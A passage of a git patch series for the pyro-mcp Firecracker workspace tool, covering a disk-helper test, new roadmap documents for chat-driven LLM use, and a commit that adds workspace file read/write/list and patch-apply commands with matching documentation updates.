path="/workspace/special", + artifact_type=None, + size_bytes=0, + ) + ], + ) + assert list_workspace_disk(rootfs_image, guest_path="/workspace", recursive=True) == [] + + monkeypatch.setattr( + workspace_disk_module, + "_debugfs_stat", + lambda *_args, **_kwargs: workspace_disk_module._DebugfsStat( # noqa: SLF001 + path="/workspace/note.txt", + artifact_type="file", + size_bytes=12, + ), + ) + monkeypatch.setattr(workspace_disk_module, "_run_debugfs", lambda *_args, **_kwargs: "") + with pytest.raises(RuntimeError, match="failed to dump workspace disk file"): + read_workspace_disk_file( + rootfs_image, + guest_path="/workspace/note.txt", + max_bytes=16, + ) diff --git a/uv.lock b/uv.lock index bf70717..681046b 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.0.0" +version = "3.1.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From dbb71a31746e39185df7069364bcebc36bb50021 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 21:06:14 -0300 Subject: [PATCH 25/49] Add chat-first workspace roadmap Document the post-3.1 milestones needed to make the stable workspace product feel natural in chat-driven LLM interfaces. Add a follow-on roadmap for model-native file ops, workspace naming and discovery, tool profiles, shell output cleanup, and use-case recipes with smoke coverage. Link it from the README, vision doc, and completed workspace GA roadmap so the next phase is explicit. Keep the sequence anchored to the workspace-first vision and continue to treat disk tools as secondary rather than the main chat-facing surface. --- README.md | 3 +- docs/roadmap/llm-chat-ergonomics.md | 66 +++++++++++++++++++ .../3.2.0-model-native-workspace-file-ops.md | 59 +++++++++++++++++ .../3.3.0-workspace-naming-and-discovery.md | 52 +++++++++++++++ ...-tool-profiles-and-canonical-chat-flows.md | 51 ++++++++++++++ .../3.5.0-chat-friendly-shell-output.md | 46 +++++++++++++ .../3.6.0-use-case-recipes-and-smoke-packs.md | 42 ++++++++++++ docs/roadmap/task-workspace-ga.md | 3 +- docs/vision.md | 8 ++- 9 files changed, 326 insertions(+), 4 deletions(-) create mode 100644 docs/roadmap/llm-chat-ergonomics.md create mode 100644 docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md create mode 100644 docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md create mode 100644 docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md create mode 100644 docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md create mode 100644 docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md diff --git a/README.md b/README.md index 674dedd..9171bd6 100644 --- a/README.md +++ b/README.md @@ -16,7 +16,8 @@ It exposes the same runtime in three public forms: - Install: [docs/install.md](docs/install.md) - Vision: [docs/vision.md](docs/vision.md) -- Workspace roadmap: [docs/roadmap/task-workspace-ga.md](docs/roadmap/task-workspace-ga.md) +- Workspace GA roadmap: [docs/roadmap/task-workspace-ga.md](docs/roadmap/task-workspace-ga.md) +- LLM chat roadmap: [docs/roadmap/llm-chat-ergonomics.md](docs/roadmap/llm-chat-ergonomics.md) - First run transcript: [docs/first-run.md](docs/first-run.md) - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md new file mode 100644 index 0000000..07549f7 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -0,0 +1,66 @@ +# LLM Chat Ergonomics Roadmap + +This roadmap picks up after the completed workspace GA plan and focuses on one +goal: + +make the core agent-workspace use cases feel trivial from a chat-driven LLM +interface. + +Current baseline is `3.1.0`: + +- the stable workspace contract exists across CLI, SDK, and MCP +- one-shot `pyro run` still exists as the narrow entrypoint +- workspaces already support seeding, sync push, exec, export, diff, snapshots, + reset, services, PTY shells, secrets, network policy, and published ports +- stopped-workspace disk tools now exist, but remain explicitly secondary + +## What "Trivial In Chat" Means + +The roadmap is done only when a chat-driven LLM can cover the main use cases +without awkward shell choreography or hidden host-side glue: + +- cold-start repo validation +- repro plus fix loops +- parallel isolated workspaces for multiple issues or PRs +- unsafe or untrusted code inspection +- review and evaluation workflows + +More concretely, the model should not need to: + +- patch files through shell-escaped `printf` or heredoc tricks +- rely on opaque workspace IDs without a discovery surface +- consume raw terminal control sequences as normal shell output +- choose from an unnecessarily large tool surface when a smaller profile would + work + +## Locked Decisions + +- keep the workspace product identity central; do not drift toward CI, queue, + or runner abstractions +- keep disk tools secondary and do not make them the main chat-facing surface +- prefer narrow tool profiles and structured outputs over more raw shell calls +- every milestone below must update CLI, SDK, and MCP together +- every milestone below must also update docs, help text, runnable examples, + and at least one real smoke scenario + +## Milestones + +1. [`3.2.0` Model-Native Workspace File Ops](llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md) +2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) +3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) +4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) +5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) + +## Expected Outcome + +After this roadmap, the product should still look like an agent workspace, not +like a CI runner with more isolation. + +The intended model-facing shape is: + +- one-shot work starts with `vm_run` +- persistent work moves to a small workspace-first contract +- file edits are structured and model-native +- workspace discovery is human and model-friendly +- shells are readable in chat +- the five core use cases are documented and smoke-tested end to end diff --git a/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md b/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md new file mode 100644 index 0000000..056528b --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md @@ -0,0 +1,59 @@ +# `3.2.0` Model-Native Workspace File Ops + +Status: Planned + +## Goal + +Remove shell quoting and hidden host-temp-file choreography from normal +chat-driven workspace editing loops. + +## Public API Changes + +Planned additions: + +- `pyro workspace file list WORKSPACE_ID [PATH] [--recursive]` +- `pyro workspace file read WORKSPACE_ID PATH [--max-bytes N]` +- `pyro workspace file write WORKSPACE_ID PATH --text TEXT` +- `pyro workspace patch apply WORKSPACE_ID --patch TEXT` +- matching Python SDK methods: + - `list_workspace_files` + - `read_workspace_file` + - `write_workspace_file` + - `apply_workspace_patch` +- matching MCP tools: + - `workspace_file_list` + - `workspace_file_read` + - `workspace_file_write` + - `workspace_patch_apply` + +## Implementation Boundaries + +- scope all operations strictly under `/workspace` +- keep these tools text-first and bounded in size +- make patch application explicit and deterministic +- keep `workspace export` as the host-out path for copying results back +- keep shell and exec available for process-oriented work, not as the only way + to mutate files + +## Non-Goals + +- no arbitrary host filesystem access +- no generic SFTP or file-manager product identity +- no replacement of shell or exec for process lifecycle work +- no hidden auto-merge behavior for conflicting patches + +## Acceptance Scenarios + +- an agent reads a file, applies a patch, reruns tests, and exports the result + without shell-escaped editing tricks +- an agent inspects a repo tree and targeted files inside one workspace without + relying on host-side temp paths +- a repro-plus-fix loop is practical from MCP alone, not only from a custom + host wrapper + +## Required Repo Updates + +- public contract updates across CLI, SDK, and MCP +- docs and examples that show model-native file editing instead of shell-heavy + file writes +- at least one real smoke scenario centered on a repro-plus-fix loop diff --git a/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md b/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md new file mode 100644 index 0000000..355e413 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md @@ -0,0 +1,52 @@ +# `3.3.0` Workspace Naming And Discovery + +Status: Planned + +## Goal + +Make multiple concurrent workspaces manageable from chat without forcing the +user or model to juggle opaque IDs. + +## Public API Changes + +Planned additions: + +- `pyro workspace create ... --name NAME` +- `pyro workspace create ... --label KEY=VALUE` +- `pyro workspace list` +- `pyro workspace update WORKSPACE_ID [--name NAME] [--label KEY=VALUE] [--clear-label KEY]` +- matching Python SDK methods: + - `list_workspaces` + - `update_workspace` +- matching MCP tools: + - `workspace_list` + - `workspace_update` + +## Implementation Boundaries + +- keep workspace IDs as the stable machine identifier +- treat names and labels as operator-friendly metadata and discovery aids +- surface last activity, expiry, service counts, and summary metadata in + `workspace list` +- make name and label metadata visible in create, status, and list responses + +## Non-Goals + +- no scheduler or queue abstractions +- no project-wide branch manager +- no hidden background cleanup policy beyond the existing TTL model + +## Acceptance Scenarios + +- a user can keep separate workspaces for two issues or PRs and discover them + again without external notes +- a chat agent can list active workspaces, choose the right one, and continue + work after a later prompt +- review and evaluation flows can tag or name workspaces by repo, bug, or task + intent + +## Required Repo Updates + +- README and install docs that show parallel named workspaces +- examples that demonstrate issue-oriented workspace naming +- smoke coverage for at least one multi-workspace flow diff --git a/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md b/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md new file mode 100644 index 0000000..50a3a9c --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md @@ -0,0 +1,51 @@ +# `3.4.0` Tool Profiles And Canonical Chat Flows + +Status: Planned + +## Goal + +Make the model-facing surface intentionally small for chat hosts, while keeping +the full workspace product available when needed. + +## Public API Changes + +Planned additions: + +- `pyro mcp serve --profile {vm-run,workspace-core,workspace-full}` +- matching Python SDK and server factory configuration for the same profiles +- one canonical OpenAI Responses example that uses the workspace-core profile +- one canonical MCP/chat example that uses the same profile progression + +Representative profile intent: + +- `vm-run`: one-shot only +- `workspace-core`: create, status, exec, file ops, diff, reset, export, delete +- `workspace-full`: shells, services, snapshots, secrets, network policy, and + the rest of the stable workspace surface + +## Implementation Boundaries + +- keep the current full surface available for advanced users +- add profiles as an exposure control, not as a second product line +- make profile behavior explicit in docs and help text +- keep profile names stable once shipped + +## Non-Goals + +- no framework-specific wrappers inside the core package +- no server-side planner that chooses tools on the model's behalf +- no hidden feature gating by provider or client + +## Acceptance Scenarios + +- a chat host can expose only `vm_run` for one-shot work +- a chat host can promote the same agent to `workspace-core` without suddenly + dumping the full advanced surface on the model +- a new integrator can copy one example and understand the intended progression + from one-shot to stable workspace + +## Required Repo Updates + +- integration docs that explain when to use each profile +- canonical chat examples for both provider tool calling and MCP +- smoke coverage for at least one profile-limited chat loop diff --git a/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md b/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md new file mode 100644 index 0000000..747454d --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md @@ -0,0 +1,46 @@ +# `3.5.0` Chat-Friendly Shell Output + +Status: Planned + +## Goal + +Keep persistent PTY shells powerful, but make their output clean enough to feed +directly back into a chat model. + +## Public API Changes + +Planned additions: + +- `pyro workspace shell read ... --plain` +- `pyro workspace shell read ... --wait-for-idle-ms N` +- matching Python SDK parameters: + - `plain=True` + - `wait_for_idle_ms=...` +- matching MCP request fields on `shell_read` + +## Implementation Boundaries + +- keep raw PTY reads available for advanced clients +- plain mode should strip terminal control sequences and normalize line endings +- idle waiting should batch the next useful chunk of output without turning the + shell into a separate job scheduler +- keep cursor-based reads so polling clients stay deterministic + +## Non-Goals + +- no replacement of the PTY shell with a fake line-based shell +- no automatic command synthesis inside shell reads +- no shell-only workflow that replaces `workspace exec`, services, or file ops + +## Acceptance Scenarios + +- a chat agent can open a shell, write a command, and read back plain text + output without ANSI noise +- long-running interactive setup or debugging flows are readable in chat +- shell output is useful as model input without extra client-side cleanup + +## Required Repo Updates + +- help text that makes raw versus plain shell reads explicit +- examples that show a clean interactive shell loop +- smoke coverage for at least one shell-driven debugging scenario diff --git a/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md b/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md new file mode 100644 index 0000000..a174528 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md @@ -0,0 +1,42 @@ +# `3.6.0` Use-Case Recipes And Smoke Packs + +Status: Planned + +## Goal + +Turn the five target workflows into first-class documented stories and runnable +verification paths. + +## Public API Changes + +No new core API is required in this milestone. + +The main deliverable is packaging the now-mature workspace surface into clear +recipes, examples, and smoke scenarios that prove the intended user experience. + +## Implementation Boundaries + +- build on the existing stable workspace contract and the earlier chat-first + milestones +- keep the focus on user-facing flows, not internal test harness complexity +- treat the recipes as product documentation, not private maintainer notes + +## Non-Goals + +- no new CI or scheduler abstractions +- no speculative cloud orchestration work +- no broad expansion of disk tooling as the main story + +## Acceptance Scenarios + +- cold-start repo validation has a documented and smoke-tested flow +- repro-plus-fix loops have a documented and smoke-tested flow +- parallel isolated workspaces have a documented and smoke-tested flow +- unsafe or untrusted code inspection has a documented and smoke-tested flow +- review and evaluation workflows have a documented and smoke-tested flow + +## Required Repo Updates + +- a dedicated doc or section for each target use case +- at least one canonical example per use case in CLI, SDK, or MCP form +- smoke scenarios that prove each flow on a real Firecracker-backed path diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md index b5482b4..3324e22 100644 --- a/docs/roadmap/task-workspace-ga.md +++ b/docs/roadmap/task-workspace-ga.md @@ -46,4 +46,5 @@ The planned workspace roadmap is complete. - `3.1.0` added secondary stopped-workspace disk export and offline inspection helpers without changing the stable workspace-first core contract. -- Future work, if any, is now outside the planned vision milestones tracked in this roadmap. +- The next follow-on milestones now live in [llm-chat-ergonomics.md](llm-chat-ergonomics.md) and + focus on making the stable workspace product feel trivial from chat-driven LLM interfaces. diff --git a/docs/vision.md b/docs/vision.md index 41a6600..cdf852c 100644 --- a/docs/vision.md +++ b/docs/vision.md @@ -170,8 +170,12 @@ Features should be prioritized in this order: 6. Explicit secrets and network policy 7. Secondary disk-level import/export and inspection tools -The implementation roadmap that turns those priorities into release-sized -milestones lives in [roadmap/task-workspace-ga.md](roadmap/task-workspace-ga.md). +The completed workspace GA roadmap lives in +[roadmap/task-workspace-ga.md](roadmap/task-workspace-ga.md). + +The next implementation milestones that make those workflows feel natural from +chat-driven LLM interfaces live in +[roadmap/llm-chat-ergonomics.md](roadmap/llm-chat-ergonomics.md). ## Naming Guidance From ab02ae46c7ec563c106cf3f7128a0c9dc623ad4c Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 22:03:25 -0300 Subject: [PATCH 26/49] Add model-native workspace file operations Remove shell-escaped file mutation from the stable workspace flow by adding explicit file and patch tools across the CLI, SDK, and MCP surfaces. This adds workspace file list/read/write plus unified text patch application, backed by new guest and manager file primitives that stay scoped to started workspaces and /workspace only. Patch application is preflighted on the host, file writes stay text-only and bounded, and the existing diff/export/reset semantics remain intact. The milestone also updates the 3.2.0 roadmap, public contract, docs, examples, and versioning, and includes focused coverage for the new helper module and dispatch paths. Validation: - uv lock - UV_CACHE_DIR=.uv-cache make check - UV_CACHE_DIR=.uv-cache make dist-check - real guest-backed smoke for workspace file read, patch apply, exec, export, and delete --- CHANGELOG.md | 10 + README.md | 16 +- docs/first-run.md | 24 +- docs/install.md | 12 +- docs/integrations.md | 5 + docs/public-contract.md | 24 + docs/roadmap/llm-chat-ergonomics.md | 9 +- .../3.2.0-model-native-workspace-file-ops.md | 8 +- examples/python_workspace.py | 21 + pyproject.toml | 2 +- .../linux-x86_64/guest/pyro_guest_agent.py | 166 ++++++ src/pyro_mcp/api.py | 100 ++++ src/pyro_mcp/cli.py | 280 +++++++++ src/pyro_mcp/contract.py | 16 + .../linux-x86_64/guest/pyro_guest_agent.py | 166 ++++++ .../runtime_bundle/linux-x86_64/manifest.json | 2 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_guest.py | 104 ++++ src/pyro_mcp/vm_manager.py | 530 ++++++++++++++++++ src/pyro_mcp/workspace_files.py | 456 +++++++++++++++ tests/test_api.py | 327 ++++++++++- tests/test_cli.py | 194 +++++++ tests/test_public_contract.py | 36 ++ tests/test_server.py | 61 ++ tests/test_vm_manager.py | 85 +++ tests/test_workspace_files.py | 427 ++++++++++++++ uv.lock | 2 +- 27 files changed, 3068 insertions(+), 17 deletions(-) create mode 100644 src/pyro_mcp/workspace_files.py create mode 100644 tests/test_workspace_files.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 27b4d47..2f230fa 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.2.0 + +- Added model-native live workspace file operations across the CLI, Python SDK, and MCP server + with `workspace file list|read|write` so agents can inspect and edit text files without shell + quoting tricks or host-side temp-file glue. +- Added `workspace patch apply` for explicit unified text diff application under `/workspace`, + with supported add/modify/delete patch forms and clear recovery guidance via `workspace reset`. +- Kept file operations scoped to started workspaces and `/workspace`, while preserving the existing + diff/export/snapshot/service/shell model around the stable workspace product. + ## 3.1.0 - Added explicit workspace lifecycle stop/start operations across the CLI, Python SDK, and MCP diff --git a/README.md b/README.md index 9171bd6..e129c00 100644 --- a/README.md +++ b/README.md @@ -22,7 +22,7 @@ It exposes the same runtime in three public forms: - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.1.0: [CHANGELOG.md#310](CHANGELOG.md#310) +- What's new in 3.2.0: [CHANGELOG.md#320](CHANGELOG.md#320) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -59,7 +59,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.1.0 +Catalog version: 3.2.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -88,6 +88,8 @@ for the published package, or `uv run pyro ...` from a source checkout. uv tool install pyro-mcp WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --json | python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])')" pyro workspace sync push "$WORKSPACE_ID" ./changes +pyro workspace file read "$WORKSPACE_ID" note.txt +pyro workspace patch apply "$WORKSPACE_ID" --patch "$(cat fix.patch)" pyro workspace exec "$WORKSPACE_ID" -- cat note.txt pyro workspace snapshot create "$WORKSPACE_ID" checkpoint pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' @@ -102,6 +104,7 @@ That stable workspace path gives you: - initial host-in seeding with `--seed-path` - later host-in updates with `workspace sync push` +- model-native file inspection and text edits with `workspace file *` and `workspace patch apply` - one-shot commands with `workspace exec` and persistent PTYs with `workspace shell *` - long-running processes with `workspace service *` - explicit checkpoints with `workspace snapshot *` @@ -118,6 +121,7 @@ After the quickstart works: - enable outbound guest networking for one workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress` - add literal or file-backed secrets with `uvx --from pyro-mcp pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` - map one persisted secret into one exec, shell, or service call with `--secret-env API_TOKEN` +- inspect and edit files without shell quoting with `uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/app.py`, `uvx --from pyro-mcp pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")'`, and `uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)"` - diff the live workspace against its create-time baseline with `uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID` - capture a checkpoint with `uvx --from pyro-mcp pyro workspace snapshot create WORKSPACE_ID checkpoint` - reset a broken workspace with `uvx --from pyro-mcp pyro workspace reset WORKSPACE_ID --snapshot checkpoint` @@ -180,7 +184,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.1.0 +Catalog version: 3.2.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -260,6 +264,10 @@ pyro workspace create debian:12 --network-policy egress pyro workspace create debian:12 --seed-path ./repo --secret API_TOKEN=expected pyro workspace create debian:12 --network-policy egress+published-ports pyro workspace sync push WORKSPACE_ID ./changes --dest src +pyro workspace file list WORKSPACE_ID src --recursive +pyro workspace file read WORKSPACE_ID src/note.txt +pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")' +pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" pyro workspace exec WORKSPACE_ID -- cat src/note.txt pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' pyro workspace diff WORKSPACE_ID @@ -292,7 +300,7 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.1.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.2.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/first-run.md b/docs/first-run.md index 82216f3..51c6bb3 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.1.0 +Catalog version: 3.2.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -76,6 +76,8 @@ a source checkout. $ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --json | tee /tmp/pyro-workspace.json $ export WORKSPACE_ID="$(python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])' < /tmp/pyro-workspace.json)" $ uvx --from pyro-mcp pyro workspace sync push "$WORKSPACE_ID" ./changes +$ uvx --from pyro-mcp pyro workspace file read "$WORKSPACE_ID" note.txt +$ uvx --from pyro-mcp pyro workspace patch apply "$WORKSPACE_ID" --patch "$(cat fix.patch)" $ uvx --from pyro-mcp pyro workspace exec "$WORKSPACE_ID" -- cat note.txt $ uvx --from pyro-mcp pyro workspace snapshot create "$WORKSPACE_ID" checkpoint $ uvx --from pyro-mcp pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' @@ -95,6 +97,10 @@ $ uvx --from pyro-mcp pyro workspace delete "$WORKSPACE_ID" $ uvx --from pyro-mcp pyro demo $ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes +$ uvx --from pyro-mcp pyro workspace file list WORKSPACE_ID src --recursive +$ uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/app.py +$ uvx --from pyro-mcp pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")' +$ uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" $ uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress $ uvx --from pyro-mcp pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt $ uvx --from pyro-mcp pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' @@ -128,6 +134,17 @@ Command count: 0 $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes --dest src [workspace-sync] workspace_id=... mode=directory source=... destination=/workspace/src entry_count=... bytes_written=... execution_mode=guest_vsock +$ uvx --from pyro-mcp pyro workspace file list WORKSPACE_ID src --recursive +Workspace file path: /workspace/src +- /workspace/src/note.txt [file] bytes=... + +$ uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/note.txt +hello from synced workspace +[workspace-file-read] workspace_id=... path=/workspace/src/note.txt size_bytes=... truncated=False execution_mode=guest_vsock + +$ uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" +[workspace-patch] workspace_id=... total=... added=... modified=... deleted=... execution_mode=guest_vsock + $ uvx --from pyro-mcp pyro workspace exec WORKSPACE_ID -- cat src/note.txt hello from synced workspace [workspace-exec] workspace_id=... sequence=1 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... @@ -231,11 +248,12 @@ State: started Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.1.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.2.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the -host. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you +host. Use `pyro workspace file *` and `pyro workspace patch apply` for model-native text edits, +`pyro workspace exec` for one-shot commands, and `pyro workspace shell *` when you need a persistent interactive PTY session in that same workspace. Use `pyro workspace service *` when the workspace needs long-running background processes with typed readiness checks. Internal service state and logs stay outside `/workspace`, so service runtime data does not appear in diff --git a/docs/install.md b/docs/install.md index 092fcc4..67a35cb 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.1.0 +Catalog version: 3.2.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -142,6 +142,8 @@ for the published package, or `uv run pyro ...` from a source checkout. uv tool install pyro-mcp WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --json | python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])')" pyro workspace sync push "$WORKSPACE_ID" ./changes +pyro workspace file read "$WORKSPACE_ID" note.txt +pyro workspace patch apply "$WORKSPACE_ID" --patch "$(cat fix.patch)" pyro workspace exec "$WORKSPACE_ID" -- cat note.txt pyro workspace snapshot create "$WORKSPACE_ID" checkpoint pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' @@ -154,6 +156,7 @@ This is the stable persistent-workspace contract: - `workspace create` seeds `/workspace` - `workspace sync push` imports later host-side changes +- `workspace file *` and `workspace patch apply` cover model-native text inspection and edits - `workspace exec` and `workspace shell *` keep work inside one sandbox - `workspace service *` manages long-running processes with typed readiness - `workspace snapshot *` and `workspace reset` make reset-over-repair explicit @@ -208,6 +211,7 @@ After the CLI path works, you can move on to: - live workspace updates: `pyro workspace sync push WORKSPACE_ID ./changes` - guest networking policy: `pyro workspace create debian:12 --network-policy egress` - workspace secrets: `pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` +- model-native file editing: `pyro workspace file read WORKSPACE_ID src/app.py`, `pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")'`, and `pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)"` - baseline diff: `pyro workspace diff WORKSPACE_ID` - snapshots and reset: `pyro workspace snapshot create WORKSPACE_ID checkpoint` and `pyro workspace reset WORKSPACE_ID --snapshot checkpoint` - host export: `pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` @@ -229,6 +233,10 @@ pyro workspace create debian:12 --network-policy egress pyro workspace create debian:12 --seed-path ./repo --secret API_TOKEN=expected pyro workspace create debian:12 --network-policy egress+published-ports pyro workspace sync push WORKSPACE_ID ./changes --dest src +pyro workspace file list WORKSPACE_ID src --recursive +pyro workspace file read WORKSPACE_ID src/note.txt +pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")' +pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" pyro workspace exec WORKSPACE_ID -- cat src/note.txt pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' pyro workspace diff WORKSPACE_ID @@ -261,7 +269,7 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.1.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.2.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one 